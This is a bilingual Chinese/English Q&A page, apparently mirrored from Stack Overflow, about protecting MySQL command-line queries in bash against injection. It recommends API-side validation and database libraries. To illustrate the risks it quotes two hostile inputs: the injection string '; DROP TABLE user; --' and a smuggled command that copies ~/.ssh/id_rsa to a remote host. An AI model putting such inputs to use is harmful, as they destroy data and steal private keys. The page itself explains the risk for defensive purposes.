从命令行注入证明SQL语句 [英] Injection Proof SQL Statements from Command Line

问题描述

此相关问题询问有关在使用时使用参数化查询的问题bash中的命令行mysql工具.但是，似乎最重要的答案仍然容易受到注入的影响(例如; DROP TABLE user; --).虽然答案当然确实解决了如何传入变量 的问题，但并未解决如何使用参数化查询的问题.

This related question asks about using a parameterized query when using the commandline mysql tool in bash. However, it seems that the top answer is still vulnerable to injection (eg ; DROP TABLE user; --). While the answer certainly does address the question of how to pass in variables at all, it does not address the question of how to do it using parameterized queries.

我的问题:链接问题中的链接接受答案是否提供了防止SQL注入的保护，并且具有所有有用的参数化保护?如果是这样，为什么?如果没有，如何从MySQL命令行工具安全地使用参数化查询?

My question: Does the linked accepted answer in the linked question provide protection against SQL injection, and have all the useful protections of paramterization? If so, why? If not, how can I securely use a parameterized query from the MySQL command line tool?

注意:从技术上讲，我正在运行mysql Ver 15.1 Distrib 10.3.13-MariaDB.

Note: Technically I am running mysql Ver 15.1 Distrib 10.3.13-MariaDB.

推荐答案

面向客户的应用程序的常见做法是为每个数据库查询提供一个API端点，这将需要用户身份验证.然后，API服务器将在格式化查询时验证输入.

Common practice for customer-facing applications is to have an API-endpoint for each database query, which will require user authentication. The API server will then validate the input while formatting the query.

直接在服务器上公开bash从来不是一个好主意.除了SQL注入外，; scp ~/.ssh/id_rsa my_proxy ;等其他更糟糕的情况也很容易发生.

Directly exposing bash on server is never a good idea. Besides SQL injection, other much worse situations, like ; scp ~/.ssh/id_rsa my_proxy ;, can easily happen.

根据以下评论，似乎安全不是OP的主要关注点.相反，主要重点是生成有效的查询.

It appears that security is not OP's primary concern based on the comments below. Rather, the main focus is generating valid queries.

为此，最简单的解决方案是使用现有的库，并让它们处理格式.例如，在Python中有

For that, the simplest solution is to perhaps use existing libraries, and let them handle the formatting. For example, in Python there is

https://dev.mysql.com/doc/connector-python/zh/

通常应批量插入以提高效率.但是，如果愿意的话，您可以编写脚本来插入类似

Usually insertion should be done in batch for efficiency. But if preferred, you can write a script for inserting a row like

python3 tableX_insert.py --field1 value1 --field2 value2

我确定在其他语言中，也存在用于DB conn和cursor的类似模块.对原始bash命令行执行相同操作的任何努力都是在重新发明轮子.

I am sure in other languages similar modules for DB conn and cursor exist. Any effort to do the same with raw bash command line is re-inventing wheels.

这篇关于从命令行注入证明SQL语句的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！